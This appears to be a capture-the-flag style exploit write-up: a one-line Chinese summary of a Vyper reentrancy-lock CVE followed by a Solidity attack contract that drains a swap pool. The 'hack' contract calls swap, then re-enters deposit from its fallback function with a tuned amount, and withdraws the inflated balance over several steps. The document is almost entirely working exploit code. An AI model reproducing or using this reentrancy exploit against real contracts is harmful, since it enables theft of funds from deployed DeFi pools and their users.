重入锁失效的版本。vyper 的 cve。利用swap时候deposite可以有多的收益。得打3次 最后withdraw还得调调数.

import "@openzeppelin/contracts@4.0.0/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts@4.0.0/access/Ownable.sol";
 
contract VETH is ERC20, Ownable {
    constructor() ERC20("VETH", "vETH") Ownable() {}
 
    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}
contract tac{
    function swap(int128 a,int128 b,uint256 c)external payable{
 
    }
    function withdraw(int128 a,uint256 c)external{
 
    }
    function deposit(int128 a,uint256 c)external payable{
 
    }
}
contract hack{
    tac vy=tac(0xf580549d657bB58002567c5D3E08480fED871c18);
    VETH veth = VETH(0x2A864d99AE8dE1A05bF73E13b22806F587Ff3661);
 
    constructor()public payable{
 
    }
    function hack_step1()public payable{
        vy.swap{value:1 ether}(0,1,1 ether);
        
        //  vy.swap{value:1 wei}(1,0,0.5 ether);
    }
    function hack_step2(uint amount)public{
        vy.withdraw(1,amount);
     }
 
 
    function approce() public {
        veth.approve(address(vy), 10 ether);
        veth.approve(msg.sender, 10 ether);
    }
    function hack_step3(uint amount)public payable{
        vy.swap{value:1 ether}(1,0,amount);
    }
 
    fallback() external payable{
        if (msg.value < 2.9 ether){
            vy.deposit(1,3000000000008553090);
 
        }
 
    }
 
    function hack_step4() public payable {
        withdraw(1, 3000000000008553090);
        hack_step3(0);
    }
    function withdraw(int128 select ,uint256 amount) public{
        vy.withdraw(select, amount);
    }
 
}